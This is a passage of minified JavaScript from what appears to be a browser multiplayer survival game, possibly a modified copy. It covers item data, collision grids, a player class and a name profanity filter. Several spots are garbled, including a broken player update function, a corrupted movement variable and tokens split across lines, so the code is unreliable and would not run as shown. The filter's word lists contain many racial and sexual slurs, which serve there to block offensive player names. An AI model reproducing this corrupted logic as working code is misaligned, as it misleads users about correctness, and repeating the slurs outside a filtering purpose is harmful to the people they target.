age: 7,
group: e.exports.groups[13],
name: "teleporter",
desc: "teleports you to a random point on the map",
req: ["wood", 60, "stone", 60],
ignoreCollision: !0,
teleport: !0,
health: 200,
colDiv: .7,
scale: 45,
holdOffset: 20,
placeOffset: -5
}];
for (var n = 0; n < e.exports.list.length; ++n)
e.exports.list[n].id = n,
e.exports.list[n].pre && (e.exports.list[n].pre = n -
e.exports.list[n].pre)
}
, function(e, t) {
e.exports = {}
}
, function(e, t) {
var n = Math.floor
, i = Math.abs
, r = Math.cos
, s = Math.sin
, a = (Math.pow,
Math.sqrt);
e.exports = function(e, t, o, c, l, h) {
var u, f;
this.objects = t,
this.grids = {},
this.updateObjects = [];
var d = c.mapScale / c.colGrid;
this.setObjectGrids = function(e) {
for (var t = Math.min(c.mapScale, Math.max(0, e.x)), n =
Math.min(c.mapScale, Math.max(0, e.y)), i = 0; i < c.colGrid; ++i) {
u = i * d;
for (var r = 0; r < c.colGrid; ++r)
f = r * d,
t + e.scale >= u && t - e.scale <= u + d && n + e.scale
>= f && n - e.scale <= f + d && (this.grids[i + "_" + r] || (this.grids[i + "_" +
r] = []),

this.grids[i + "_" + r].push(e),

e.gridLocations.push(i + "_" + r))


}
}
,
this.removeObjGrid = function(e) {
for (var t, n = 0; n < e.gridLocations.length; ++n)
(t = this.grids[e.gridLocations[n]].indexOf(e)) >= 0 &&
this.grids[e.gridLocations[n]].splice(t, 1)
}
,
this.disableObj = function(e) {
if (e.active = !1,
h) {
e.owner && e.pps && (e.owner.pps -= e.pps),
this.removeObjGrid(e);
var t = this.updateObjects.indexOf(e);
t >= 0 && this.updateObjects.splice(t, 1);
}
lists.objects.splice(lists.objects.indexOf(e), 1);
window.lists = lists;
}
,
this.hitObj = function(e, t) {
for (var n = 0; n < l.length; ++n)
l[n].active && (e.sentTo[l[n].id] && (e.active ? l[n].canSee(e)
&& h.send(l[n].id, "8", o.fixTo(t, 1), e.sid) : h.send(l[n].id, "12", e.sid)),
e.active || e.owner != l[n] ||
l[n].changeItemCount(e.group.id, -1))
}
;
var p, g, m = [];
this.getGridArrays = function(e, t, i) {
u = n(e / d),
f = n(t / d),
m.length = 0;
try {
this.grids[u + "_" + f] && m.push(this.grids[u + "_" + f]),
e + i >= (u + 1) * d && ((p = this.grids[u + 1 + "_" + f])
&& m.push(p),
f && t - i <= f * d ? (p =
this.grids[u + 1 + "_" + (f - 1)]) && m.push(p) : t + i >= (f + 1) * d && (p =
this.grids[u + 1 + "_" + (f + 1)]) && m.push(p)),
u && e - i <= u * d && ((p = this.grids[u - 1 + "_" + f]) &&
m.push(p),
f && t - i <= f * d ? (p =
this.grids[u - 1 + "_" + (f - 1)]) && m.push(p) : t + i >= (f + 1) * d && (p =
this.grids[u - 1 + "_" + (f + 1)]) && m.push(p)),
t + i >= (f + 1) * d && (p = this.grids[u + "_" + (f + 1)])
&& m.push(p),
f && t - i <= f * d && (p = this.grids[u + "_" + (f - 1)])
&& m.push(p)
} catch (e) {}
return m
}
,
this.add = function(n, i, r, s, a, o, c, l, u) {
g = null;
for (var f = 0; f < t.length; ++f)
if (t[f].sid == n) {
g = t[f];
break
}
if (!g)
for (f = 0; f < t.length; ++f)
if (!t[f].active) {
g = t[f];
break
}
g || (g = new e(n),
t.push(g)),
l && (g.sid = n),
g.init(i, r, s, a, o, c, u),
h && (this.setObjectGrids(g),
g.doUpdate && this.updateObjects.push(g));
for (let item in lists.l.list) {
if (lists.l.list[item] && lists.l.list[item].name == g.name) {
g.health = lists.l.list[item].health;
g.maxHealth = lists.l.list[item].health;
}
}
lists.objects.push(g);
}
,
this.disableBySid = function(e) {
for (var n = 0; n < t.length; ++n)
if (t[n].sid == e) {
this.disableObj(t[n]);
break
}
}
,
this.removeAllItems = function(e, n) {
for (var i = 0; i < t.length; ++i)
t[i].active && t[i].owner && t[i].owner.sid == e &&
this.disableObj(t[i]);
n && n.broadcast("13", e)
}
,
this.fetchSpawnObj = function(e) {
for (var n = null, i = 0; i < t.length; ++i)
if ((g = t[i]).active && g.owner && g.owner.sid == e &&
g.spawnPoint) {
n = [g.x, g.y],
this.disableObj(g),
h.broadcast("12", g.sid),
g.owner && g.owner.changeItemCount(g.group.id, -1);
break
}
return n
}
,
this.checkItemLocation = function(e, n, i, r, s, a, l) {
for (var h = 0; h < t.length; ++h) {
var u = t[h].blocker ? t[h].blocker : t[h].getScale(r,
t[h].isItem);
if (t[h].active && o.getDistance(e, n, t[h].x, t[h].y) < i + u)
return !1
}
return !(!a && 18 != s && n >= c.mapScale / 2 - c.riverWidth / 2 &&
n <= c.mapScale / 2 + c.riverWidth / 2)
}
,
this.addProjectile = function(e, t, n, i, r) {
for (var s, a = items.projectiles[r], c = 0; c < projectiles.length;
++c)
if (!projectiles[c].active) {
s = projectiles[c];
break
}
s || (s = new Projectile(l,o),
projectiles.push(s)),
s.init(r, e, t, n, a.speed, i, a.scale)
}
,
this.checkCollision = function(e, t, n) {
n = n || 1;
var l = e.x - t.x
, h = e.y - t.y
, u = e.scale + t.scale;
if (i(l) <= u || i(h) <= u) {
u = e.scale + (t.getScale ? t.getScale() : t.scale);
var f = a(l * l + h * h) - u;
if (f <= 0) {
if (t.ignoreCollision)
!t.trap || e.noTrap || t.owner == e || t.owner &&
t.owner.team && t.owner.team == e.team ? t.boostSpeed ? (e.xVel += n * t.boostSpeed
* (t.weightM || 1) * r(t.dir),
e.yVel += n * t.boostSpeed * (t.weightM || 1) * s(t.dir)) :
t.healCol ? e.healCol = t.healCol : t.teleport && (e.x = o.randInt(0, c.mapScale),
e.y = o.randInt(0, c.mapScale)) : (e.lockMove = !0,
t.hideFromEnemy = !1);
else {
var d = o.getDirection(e.x, e.y, t.x, t.y);
if (o.getDistance(e.x, e.y, t.x, t.y),
t.isPlayer ? (f = -1 * f / 2,
e.x += f * r(d),
e.y += f * s(d),
t.x -= f * r(d),
t.y -= f * s(d)) : (e.x = t.x + u * r(d),
e.y = t.y + u * s(d),
e.xVel *= .75,
e.yVel *= .75),
t.dmg && t.owner != e && (!t.owner || !t.owner.team ||
t.owner.team != e.team)) {
e.changeHealth(-t.dmg, t.owner, t);
var p = 1.5 * (t.weightM || 1);
e.xVel += p * r(d),
e.yVel += p * s(d),
!t.pDmg || e.skin && e.skin.poisonRes ||
(e.dmgOverTime.dmg = t.pDmg,
e.dmgOverTime.time = 5,
e.dmgOverTime.doer = t.owner),
e.colDmg && t.health && (t.changeHealth(-e.colDmg) &&
this.disableObj(t),
this.hitObj(t, o.getDirection(e.x, e.y, t.x, t.y)))
}
}
return t.zIndex > e.zIndex && (e.zIndex = t.zIndex),
!0
}
}
return !1
}
}
}
, function(e, t, n) {
var i = new (n(49));
i.addWords("jew", "black", "baby", "child", "white", "porn", "pedo",
"trump", "clinton", "hitler", "nazi", "gay", "pride", "sex", "pleasure", "touch",
"poo", "kids", "rape", "white power", "nigga", "nig nog", "doggy", "rapist",
"boner", "nigger", "nigg", "finger", "nogger", "nagger", "nig", "fag", "gai",
"pole", "stripper", "penis", "vagina", "pussy", "nazi", "hitler", "stalin", "burn",
"chamber", "cock", "peen", "dick", "spick", "nieger", "die", "satan", "n|ig",
"nlg", "cunt", "c0ck", "fag", "lick", "condom", "anal", "shit", "phile", "little",
"kids", "free KR", "tiny", "sidney", "ass", "kill", ".io", "(dot)", "[dot]",
"mini", "whiore", "whore", "faggot", "github", "1337", "666", "satan", "senpa", "",
"d1scord", "mistik", ".io", "senpa.io", "sidney", "sid", "senpaio", "vries",
"asa");
var r = Math.abs
, s = Math.cos
, a = Math.sin
, o = Math.pow
, c = Math.sqrt;
e.exports = function(e, t, n, l, h, u, f, d, p, g, m, y, k, v) {
this.id = e,
this.sid = t,
this.tmpScore = 0,
this.team = null,
this.skinIndex = 0,
this.tailIndex = 0,
this.hitTime = 0,
this.tails = {};
for (var w = 0; w < m.length; ++w)
m[w].price <= 0 && (this.tails[m[w].id] = 1);
for (this.skins = {},
w = 0; w < g.length; ++w)
g[w].price <= 0 && (this.skins[g[w].id] = 1);
this.points = 0,
this.dt = 0,
this.hidden = !1,
this.itemCounts = {},
this.isPlayer = !0,
this.pps = 0,
this.moveDir = void 0,
this.skinRot = 0,
this.lastPing = 0,
this.iconIndex = 0,
this.skinColor = 0,
this.spawn = function(e) {
this.active = !0,
this.alive = !0,
this.lockMove = !1,
this.lockDir = !1,
this.minimapCounter = 0,
this.chatCountdown = 0,
this.shameCount = 0,
this.shameTimer = 0,
this.sentTo = {},
this.gathering = 0,
this.autoGather = 0,
this.animTime = 0,
this.animSpeed = 0,
this.mouseState = 0,
this.buildIndex = -1,
this.weaponIndex = 0,
this.dmgOverTime = {},
this.noMovTimer = 0,
this.maxXP = 300,
this.XP = 0,
this.age = 1,
this.kills = 0,
this.upgrAge = 2,
this.upgradePoints = 0,
this.x = 0,
this.y = 0,
this.zIndex = 0,
this.xVel = 0,
this.yVel = 0,
this.slowMult = 1,
this.dir = 0,
this.dirPlus = 0,
this.targetDir = 0,
this.targetAngle = 0,
this.maxHealth = 100,
this.health = this.maxHealth,
this.scale = n.playerScale,
this.speed = n.playerSpeed,
this.resetMoveDir(),
this.resetResources(e),
this.items = [0, 3, 6, 10],
this.weapons = [0],
this.shootCount = 0,
this.weaponXP = [],
this.reloads = {}
}
,
this.resetMoveDir = function() {
this.moveDir = void 0
}
,
this.resetResources = function(e) {
for (var t = 0; t < n.resourceTypes.length; ++t)
this[n.resourceTypes[t]] = e ? 100 : 0
}
,
this.addItem = function(e) {
var t = p.list[e];
if (t) {
for (var n = 0; n < this.items.length; ++n)
if (p.list[this.items[n]].group == t.group)
return this.buildIndex == this.items[n] &&
(this.buildIndex = e),
this.items[n] = e,
!0;
return this.items.push(e),
!0
}
return !1
}
,
this.setUserData = function(e) {
if (e) {
this.name = "unknown";
var t = e.name + ""
, r = !1
, s = (t = (t = (t = (t = t.slice(0,
n.maxNameLength)).replace(/[^\w:\(\)\/? -]+/gim, " ")).replace(/[^\x00-\x7F]/g, "
")).trim()).toLowerCase().replace(/\s/g, "").replace(/1/g, "i").replace(/0/g,
"o").replace(/5/g, "s");
for (var a of i.list)
if (-1 != s.indexOf(a)) {
r = !0;
break
}
t.length > 0 && !r && (this.name = t),
this.skinColor = 0,
n.skinColors[e.skin] && (this.skinColor = e.skin)
}
}
,
this.getData = function() {
return [this.id, this.sid, this.name, l.fixTo(this.x, 2),
l.fixTo(this.y, 2), l.fixTo(this.dir, 3), this.health, this.maxHealth, this.scale,
this.skinColor]
}
,
this.setData = function(e) {
this.id = e[0],
this.sid = e[1],
this.name = e[2],
this.x = e[3],
this.y = e[4],
this.dir = e[5],
this.health = e[6],
this.maxHealth = e[7],
this.scale = e[8],
this.skinColor = e[9]
}
;
var b = 0;
this.update = function(e) {Dir ? s(this.moveDir) : 0
if (this.alive) {
if (this.shameTimer > 0 && (this.shameTimer -= e,
this.shameTimer <= 0 && (this.shameTimer = 0,
this.shameCount = 0)),
(b -= e) <= 0) {
var t = (this.skin && this.skin.healthRegen ?
this.skin.healthRegen : 0) + (this.tail && this.tail.healthRegen ?
this.tail.healthRegen : 0);
t && this.changeHealth(t, this),
this.dmgOverTime.dmg && (this.changeHealth(-
this.dmgOverTime.dmg, this.dmgOverTime.doer),
this.dmgOverTime.time -= 1,
this.dmgOverTime.time <= 0 && (this.dmgOverTime.dmg = 0)),
this.healCol && this.changeHealth(this.healCol, this),
b = 1e3
}
if (this.alive) {
if (this.slowMult < 1 && (this.slowMult += 8e-4 * e,
this.slowMult > 1 && (this.slowMult = 1)),
this.noMovTimer += e,
(this.xVel || this.yVel) && (this.noMovTimer = 0),
this.lockMove)
this.xVel = 0,
this.yVel = 0;
else {
var i = (this.buildIndex >= 0 ? .5 : 1) *
(p.weapons[this.weaponIndex].spdMult || 1) * (this.skin && this.skin.spdMult || 1)
* (this.tail && this.tail.spdMult || 1) * (this.y <= n.snowBiomeTop ? this.skin &&
this.skin.coldM ? 1 : n.snowSpeed : 1) * this.slowMult;
!this.zIndex && this.y >= n.mapScale / 2 - n.riverWidth / 2
&& this.y <= n.mapScale / 2 + n.riverWidth / 2 && (this.skin && this.skin.watrImm ?
(i *= .75,
this.xVel += .4 * n.waterCurrent * e) : (i *= .33,
this.xVel += n.waterCurrent * e));
var r = null != this.move
, d = null != this.moveDir ? a(this.moveDir) : 0
, g = c(r * r + d * d);
0 != g && (r /= g,
d /= g),
r && (this.xVel += r * this.speed * i * e),
d && (this.yVel += d * this.speed * i * e)
}
var m;
this.zIndex = 0,
this.lockMove = !1,
this.healCol = 0;
for (var y = l.getDistance(0, 0, this.xVel * e, this.yVel * e),
k = Math.min(4, Math.max(1, Math.round(y / 40))), v = 1 / k, w = 0; w < k; ++w) {
this.xVel && (this.x += this.xVel * e * v),
this.yVel && (this.y += this.yVel * e * v),
m = u.getGridArrays(this.x, this.y, this.scale);
for (var x = 0; x < m.length; ++x)
for (var S = 0; S < m[x].length; ++S)
m[x][S].active && u.checkCollision(this, m[x][S],
v)
}
for (w = (I = f.indexOf(this)) + 1; w < f.length; ++w)
f[w] != this && f[w].alive && u.checkCollision(this, f[w]);
if (this.xVel && (this.xVel *= o(n.playerDecel, e),
this.xVel <= .01 && this.xVel >= -.01 && (this.xVel = 0)),
this.yVel && (this.yVel *= o(n.playerDecel, e),
this.yVel <= .01 && this.yVel >= -.01 && (this.yVel = 0)),
this.x - this.scale < 0 ? this.x = this.scale : this.x +
this.scale > n.mapScale && (this.x = n.mapScale - this.scale),
this.y - this.scale < 0 ? this.y = this.scale : this.y +
this.scale > n.mapScale && (this.y = n.mapScale - this.scale),
this.buildIndex < 0)
if (this.reloads[this.weaponIndex] > 0)
this.reloads[this.weaponIndex] -= e,
this.gathering = this.mouseState;
else if (this.gathering || this.autoGather) {
var T = !0;
if (null != p.weapons[this.weaponIndex].gather)
this.gather(f);
else if (null != p.weapons[this.weaponIndex].projectile
&& this.hasRes(p.weapons[this.weaponIndex], this.skin ? this.skin.projCost : 0)) {
this.useRes(p.weapons[this.weaponIndex],
this.skin ? this.skin.projCost : 0),
this.noMovTimer = 0;
var I = p.weapons[this.weaponIndex].projectile
, E = 2 * this.scale
, M = this.skin && this.skin.aMlt ?
this.skin.aMlt : 1;
p.weapons[this.weaponIndex].rec && (this.xVel -=
p.weapons[this.weaponIndex].rec * s(this.dir),
this.yVel -= p.weapons[this.weaponIndex].rec *
a(this.dir)),
h.addProjectile(this.x + E * s(this.dir), this.y +
E * a(this.dir), this.dir, p.projectiles[I].range * M, p.projectiles[I].speed * M,
I, this, null, this.zIndex)
} else
T = !1;
this.gathering = this.mouseState,
T && (this.reloads[this.weaponIndex] =
p.weapons[this.weaponIndex].speed * (this.skin && this.skin.atkSpd || 1))
}
}
}
}
,
this.addWeaponXP = function(e) {
this.weaponXP[this.weaponIndex] || (this.weaponXP[this.weaponIndex]
= 0),
this.weaponXP[this.weaponIndex] += e
}
,
this.earnXP = function(e) {
this.age < n.maxAge && (this.XP += e,
this.XP >= this.maxXP ? (this.age < n.maxAge
? (this.age++,

this.XP = 0,

this.maxXP *= 1.2) : this.XP = this.maxXP,


this.upgradePoints+
+,
y.send(this.id,
"16", this.upgradePoints, this.upgrAge),
y.send(this.id,
"15", this.XP, l.fixTo(this.maxXP, 1), this.age)) : y.send(this.id, "15", this.XP))
}
,
this.changeHealth = function(e, t) {
if (e > 0 && this.health >= this.maxHealth)
return !1;
e < 0 && this.skin && (e *= this.skin.dmgMult || 1),
e < 0 && this.tail && (e *= this.tail.dmgMult || 1),
e < 0 && (this.hitTime = Date.now()),
this.health += e,
this.health > this.maxHealth && (e -= this.health -
this.maxHealth,
this.health = this.maxHealth),
this.health <= 0 && this.kill(t);
for (var n = 0; n < f.length; ++n)
this.sentTo[f[n].id] && y.send(f[n].id, "h", this.sid,
Math.round(this.health));
return !t || !t.canSee(this) || t == this && e < 0 || y.send(t.id,
"t", Math.round(this.x), Math.round(this.y), Math.round(-e), 1),
!0
}
,
this.kill = function(e) {
e && e.alive && (e.kills++,
e.skin && e.skin.goldSteal ? k(e,
Math.round(this.points / 2)) : k(e, Math.round(100 * this.age * (e.skin &&
e.skin.kScrM ? e.skin.kScrM : 1))),
y.send(e.id, "9", "kills", e.kills, 1)),
this.alive = !1,
y.send(this.id, "11"),
v()
}
,
this.addResource = function(e, t, i) {
!i && t > 0 && this.addWeaponXP(t),
3 == e ? k(this, t, !0) : (this[n.resourceTypes[e]] += t,
y.send(this.id, "9",
n.resourceTypes[e], this[n.resourceTypes[e]], 1))
}
,
this.changeItemCount = function(e, t) {
this.itemCounts[e] = this.itemCounts[e] || 0,
this.itemCounts[e] += t,
y.send(this.id, "14", e, this.itemCounts[e])
}
,
this.buildItem = function(e) {
var t = this.scale + e.scale + (e.placeOffset || 0)
, n = this.x + t * s(this.dir)
, i = this.y + t * a(this.dir);
if (this.canBuild(e) && !(e.consume && this.skin && this.skin.noEat)
&& (e.consume || u.checkItemLocation(n, i, e.scale, .6, e.id, !1, this))) {
var r = !1;
if (e.consume) {
if (this.hitTime) {
var o = Date.now() - this.hitTime;
this.hitTime = 0,
o <= 120 ? (this.shameCount++,
this.shameCount >= 8 && (this.shameTimer
= 3e4,
this.shameCount
= 0)) : (this.shameCount -= 2,

this.shameCount <= 0 && (this.shameCount = 0))


}
this.shameTimer <= 0 && (r = e.consume(this))
} else
r = !0,
e.group.limit && this.changeItemCount(e.group.id, 1),
e.pps && (this.pps += e.pps),
u.add(u.objects.length, n, i, this.dir, e.scale, e.type,
e, !1, this);
r && (this.useRes(e),
this.buildIndex = -1)
}
}
,
this.hasRes = function(e, t) {
for (var n = 0; n < e.req.length; ) {
if (this[e.req[n]] < Math.round(e.req[n + 1] * (t || 1)))
return !1;
n += 2
}
return !0
}
,
this.useRes = function(e, t) {
if (!n.inSandbox)
for (var i = 0; i < e.req.length; )
this.addResource(n.resourceTypes.indexOf(e.req[i]), -
Math.round(e.req[i + 1] * (t || 1))),
i += 2
}
,
this.canBuild = function(e) {
return !!n.inSandbox || !(e.group.limit &&
this.itemCounts[e.group.id] >= e.group.limit) && this.hasRes(e)
}
,
this.gather = function() {
this.noMovTimer = 0,
this.slowMult -= p.weapons[this.weaponIndex].hitSlow || .3,
this.slowMult < 0 && (this.slowMult = 0);
for (var e, t, i, r = n.fetchVariant(this), o = r.poison, c = r.val,
h = {}, g = u.getGridArrays(this.x, this.y, p.weapons[this.weaponIndex].range), m =
0; m < g.length; ++m)
for (var y = 0; y < g[m].length; ++y)
if ((t = g[m][y]).active && !t.dontGather && !h[t.sid] &&
t.visibleToPlayer(this) && l.getDistance(this.x, this.y, t.x, t.y) - t.scale <=
p.weapons[this.weaponIndex].range && (e = l.getDirection(t.x, t.y, this.x, this.y),
l.getAngleDist(e, this.dir) <= n.gatherAngle)) {
if (h[t.sid] = 1,
t.health) {
if (t.changeHealth(-p.weapons[this.weaponIndex].dmg
* c * (p.weapons[this.weaponIndex].sDmg || 1) * (this.skin && this.skin.bDmg ?
this.skin.bDmg : 1), this)) {
for (var k = 0; k < t.req.length; )

this.addResource(n.resourceTypes.indexOf(t.req[k]), t.req[k + 1]),


k += 2;
u.disableObj(t)
}
} else {
this.earnXP(4 * p.weapons[this.weaponIndex].gather);
var v = p.weapons[this.weaponIndex].gather + (3 ==
t.type ? 4 : 0);
this.skin && this.skin.extraGold &&
this.addResource(3, 1),
this.addResource(t.type, v)
}
i = !0,
u.hitObj(t, e)
}
for (y = 0; y < f.length + d.length; ++y)
if ((t = f[y] || d[y - f.length]) != this && t.alive && (!t.team
|| t.team != this.team) && l.getDistance(this.x, this.y, t.x, t.y) - 1.8 * t.scale
<= p.weapons[this.weaponIndex].range && (e = l.getDirection(t.x, t.y, this.x,
this.y),
l.getAngleDist(e, this.dir) <= n.gatherAngle)) {
var w = p.weapons[this.weaponIndex].steal;
w && t.addResource && (w = Math.min(t.points || 0, w),
this.addResource(3, w),
t.addResource(3, -w));
var b = c;
null != t.weaponIndex && p.weapons[t.weaponIndex].shield &&
l.getAngleDist(e + Math.PI, t.dir) <= n.shieldAngle && (b =
p.weapons[t.weaponIndex].shield);
var x = p.weapons[this.weaponIndex].dmg * (this.skin &&
this.skin.dmgMultO ? this.skin.dmgMultO : 1) * (this.tail && this.tail.dmgMultO ?
this.tail.dmgMultO : 1)
, S = .3 * (t.weightM || 1) +
(p.weapons[this.weaponIndex].knock || 0);
t.xVel += S * s(e),
t.yVel += S * a(e),
this.skin && this.skin.healD && this.changeHealth(x * b
* this.skin.healD, this),
this.tail && this.tail.healD && this.changeHealth(x * b
* this.tail.healD, this),
t.skin && t.skin.dmg && 1 == b && this.changeHealth(-x *
t.skin.dmg, t),
t.tail && t.tail.dmg && 1 == b && this.changeHealth(-x *
t.tail.dmg, t),
!(t.dmgOverTime && this.skin && this.skin.poisonDmg) ||
t.skin && t.skin.poisonRes || (t.dmgOverTime.dmg = this.skin.poisonDmg,

t.dmgOverTime.time = this.skin.poisonTime || 1,

t.dmgOverTime.doer = this),
!t.dmgOverTime || !o || t.skin && t.skin.poisonRes ||
(t.dmgOverTime.dmg = 5,

t.dmgOverTime.time = 5,

t.dmgOverTime.doer = this),
t.skin && t.skin.dmgK && (this.xVel -= t.skin.dmgK *
s(e),
this.yVel -= t.skin.dmgK *
a(e)),
t.changeHealth(-x * b, this, this)
}
this.sendAnimation(i ? 1 : 0)
}
,
this.sendAnimation = function(e) {
for (var t = 0; t < f.length; ++t)
this.sentTo[f[t].id] && this.canSee(f[t]) && y.send(f[t].id,
"7", this.sid, e ? 1 : 0, this.weaponIndex)
}
;
var x = 0
, S = 0;
this.animate = function(e) {
this.animTime > 0 && (this.animTime -= e,
this.animTime <= 0 ? (this.animTime = 0,
this.dirPlus = 0,
x = 0,
S = 0) : 0 == S ? (x +=
e / (this.animSpeed * n.hitReturnRatio),

this.dirPlus = l.lerp(0, this.targetAngle, Math.min(1, x)),


x >=
1 && (x = 1,

S = 1)) : (x -= e / (this.animSpeed * (1 - n.hitReturnRatio)),

this.dirPlus = l.lerp(0, this.targetAngle, Math.max(0, x))))


}
,
this.startAnim = function(e, t) {
this.animTime = this.animSpeed = p.weapons[t].speed,
this.targetAngle = e ? -n.hitAngle : -Math.PI,
x = 0,
S = 0
}
,
this.canSee = function(e) {
if (!e)
return !1;
if (e.skin && e.skin.invisTimer && e.noMovTimer >=
e.skin.invisTimer)
return !1;
var t = r(e.x - this.x) - e.scale
, i = r(e.y - this.y) - e.scale;
return t <= n.maxScreenWidth / 2 * 1.3 && i <= n.maxScreenHeight / 2
* 1.3
}
}
}
, function(e, t, n) {
const i = n(50).words
, r = n(51).array;
e.exports = class {
constructor(e={}) {
Object.assign(this, {
list: e.emptyList && [] || Array.prototype.concat.apply(i, [r,
e.list || []]),
exclude: e.exclude || [],
placeHolder: e.placeHolder || "*",
regex: e.regex || /[^a-zA-Z0-9|\$|\@]|\^/g,
replaceRegex: e.replaceRegex || /\w/g
})
}
isProfane(e) {
return this.list.filter(t=>{
const n = new RegExp(`\\b${t.replace(/(\W)/g, "\\$1")}\\
b`,"gi");
return !this.exclude.includes(t.toLowerCase()) && n.test(e)
}
).length > 0 || !1
}
replaceWord(e) {
return e.replace(this.regex, "").replace(this.replaceRegex,
this.placeHolder)
}
clean(e) {
return e.split(/\b/).map(e=>this.isProfane(e) ?
this.replaceWord(e) : e).join("")
}
addWords() {
let e = Array.from(arguments);
this.list.push(...e),
e.map(e=>e.toLowerCase()).forEach(e=>{
this.exclude.includes(e) &&
this.exclude.splice(this.exclude.indexOf(e), 1)
}
)
}
removeWords() {
this.exclude.push(...Array.from(arguments).map(e=>e.toLowerCase()))
}
}
}
, function(e) {
e.exports = {
words: ["ahole", "anus", "ash0le", "ash0les", "asholes", "ass", "Ass
Monkey", "Assface", "assh0le", "assh0lez", "asshole", "assholes", "assholz",
"asswipe", "azzhole", "bassterds", "bastard", "bastards", "bastardz", "basterds",
"basterdz", "Biatch", "bitch", "bitches", "Blow Job", "boffing", "butthole",
"buttwipe", "c0ck", "c0cks", "c0k", "Carpet Muncher", "cawk", "cawks", "Clit",
"cnts", "cntz", "cock", "cockhead", "cock-head", "cocks", "CockSucker", "cock-
sucker", "crap", "cum", "cunt", "cunts", "cuntz", "dick", "dild0", "dild0s",
"dildo", "dildos", "dilld0", "dilld0s", "dominatricks", "dominatrics",
"dominatrix", "dyke", "enema", "f u c k", "f u c k e r", "fag", "fag1t", "faget",
"fagg1t", "faggit", "faggot", "fagg0t", "fagit", "fags", "fagz", "faig", "faigs",
"fart", "flipping the bird", "fuck", "fucker", "fuckin", "fucking", "fucks", "Fudge
Packer", "fuk", "Fukah", "Fuken", "fuker", "Fukin", "Fukk", "Fukkah", "Fukken",
"Fukker", "Fukkin", "g00k", "God-damned", "h00r", "h0ar", "h0re", "hells", "hoar",
"hoor", "hoore", "jackoff", "jap", "japs", "jerk-off", "jisim", "jiss", "jizm",
"jizz", "knob", "knobs", "knobz", "kunt", "kunts", "kuntz", "Lezzian", "Lipshits",
"Lipshitz", "masochist", "masokist", "massterbait", "masstrbait", "masstrbate",
"masterbaiter", "masterbate", "masterbates", "Motha Fucker", "Motha Fuker", "Motha
Fukkah", "Motha Fukker", "Mother Fucker", "Mother Fukah", "Mother Fuker", "Mother
Fukkah", "Mother Fukker", "mother-fucker", "Mutha Fucker", "Mutha Fukah", "Mutha
Fuker", "Mutha Fukkah", "Mutha Fukker", "n1gr", "nastt", "nigger;", "nigur;",
"niiger;", "niigr;", "orafis", "orgasim;", "orgasm", "orgasum", "oriface",
"orifice", "orifiss", "packi", "packie", "packy", "paki", "pakie", "paky",
"pecker", "peeenus", "peeenusss", "peenus", "peinus", "pen1s", "penas", "penis",
"penis-breath", "penus", "penuus", "Phuc", "Phuck", "Phuk", "Phuker", "Phukker",
"polac", "polack", "polak", "Poonani", "pr1c", "pr1ck", "pr1k", "pusse", "pussee",
"pussy", "puuke", "puuker", "queer", "queers", "queerz", "qweers", "qweerz",
"qweir", "recktum", "rectum", "retard", "sadist", "scank", "schlong", "screwing",
"semen", "sex", "sexy", "Sh!t", "sh1t", "sh1ter", "sh1ts", "sh1tter", "sh1tz",
"shit", "shits", "shitter", "Shitty", "Shity", "shitz", "Shyt", "Shyte", "Shytty",
"Shyty", "skanck", "skank", "skankee", "skankey", "skanks", "Skanky", "slag",
"slut", "sluts", "Slutty", "slutz", "son-of-a-bitch", "tit", "turd", "va1jina",
"vag1na", "vagiina", "vagina", "vaj1na", "vajina", "vullva", "vulva", "w0p",
"wh00r", "wh0re", "whore", "xrated", "xxx", "b!+ch", "bitch", "blowjob", "clit",
"arschloch", "fuck", "shit", "ass", "asshole", "b!tch", "b17ch", "b1tch",
"bastard", "bi+ch", "boiolas", "buceta", "c0ck", "cawk", "chink", "cipa", "clits",
"cock", "cum", "cunt", "dildo", "dirsa", "ejakulate", "fatass", "fcuk", "fuk",
"fux0r", "hoer", "hore", "jism", "kawk", "l3itch", "l3i+ch", "lesbian",
"masturbate", "masterbat*", "masterbat3", "motherfucker", "s.o.b.", "mofo", "nazi",
"nigga", "nigger", "nutsack", "phuck", "pimpis", "pusse", "pussy", "scrotum", "sh!
t", "shemale", "shi+", "sh!+", "slut", "smut", "teets", "tits", "boobs", "b00bs",
"teez", "testical", "testicle", "titt", "w00se", "jackoff", "wank", "whoar",
"whore", "*damn", "*dyke", "*fuck*", "*shit*", "@$$", "amcik", "andskota", "arse*",
"assrammer", "ayir", "bi7ch", "bitch*", "bollock*", "breasts", "butt-pirate",
"cabron", "cazzo", "chraa", "chuj", "Cock*", "cunt*", "d4mn", "daygo", "dego",
"dick*", "dike*", "dupa", "dziwka", "ejackulate", "Ekrem*", "Ekto", "enculer",
"faen", "fag*", "fanculo", "fanny", "feces", "feg", "Felcher", "ficken", "fitt*",
"Flikker", "foreskin", "Fotze", "Fu(*", "fuk*", "futkretzn", "gook", "guiena",
"h0r", "h4x0r", "hell", "helvete", "hoer*", "honkey", "Huevon", "hui", "injun",
"jizz", "kanker*", "kike", "klootzak", "kraut", "knulle", "kuk", "kuksuger",
"Kurac", "kurwa", "kusi*", "kyrpa*", "lesbo", "mamhoon", "masturbat*", "merd*",
"mibun", "monkleigh", "mouliewop", "muie", "mulkku", "muschi", "nazis",
"nepesaurio", "nigger*", "orospu", "paska*", "perse", "picka", "pierdol*",
"pillu*", "pimmel", "piss*", "pizda", "poontsee", "poop", "porn", "p0rn", "pr0n",
"preteen", "pula", "pule", "puta", "puto", "qahbeh", "queef*", "rautenberg",
"schaffer", "scheiss*", "schlampe", "schmuck", "screw", "sh!t*", "sharmuta",
"sharmute", "shipal", "shiz", "skribz", "skurwysyn", "sphencter", "spic",
"spierdalaj", "splooge", "suka", "b00b*", "testicle*", "titt*", "twat", "vittu",
"wank*", "wetback*", "wichser", "wop*", "yed", "zabourah"]
}
}
, function(e, t, n) {
e.exports = {
object: n(52),
array: n(53),
regex: n(54)
}
}
, function(e, t) {
e.exports = {
"4r5e": 1,
"5h1t": 1,
"5hit": 1,
a55: 1,
anal: 1,
anus: 1,
ar5e: 1,
arrse: 1,
arse: 1,
ass: 1,
"ass-fucker": 1,
asses: 1,
assfucker: 1,
assfukka: 1,
asshole: 1,
assholes: 1,
asswhole: 1,
a_s_s: 1,
"b!tch": 1,
b00bs: 1,
b17ch: 1,
b1tch: 1,
ballbag: 1,
balls: 1,
ballsack: 1,
bastard: 1,
beastial: 1,
beastiality: 1,
bellend: 1,
bestial: 1,
bestiality: 1,
"bi+ch": 1,
biatch: 1,
bitch: 1,
bitcher: 1,
bitchers: 1,
bitches: 1,
bitchin: 1,
bitching: 1,
bloody: 1,
"blow job": 1,
blowjob: 1,
blowjobs: 1,
boiolas: 1,
bollock: 1,
bollok: 1,
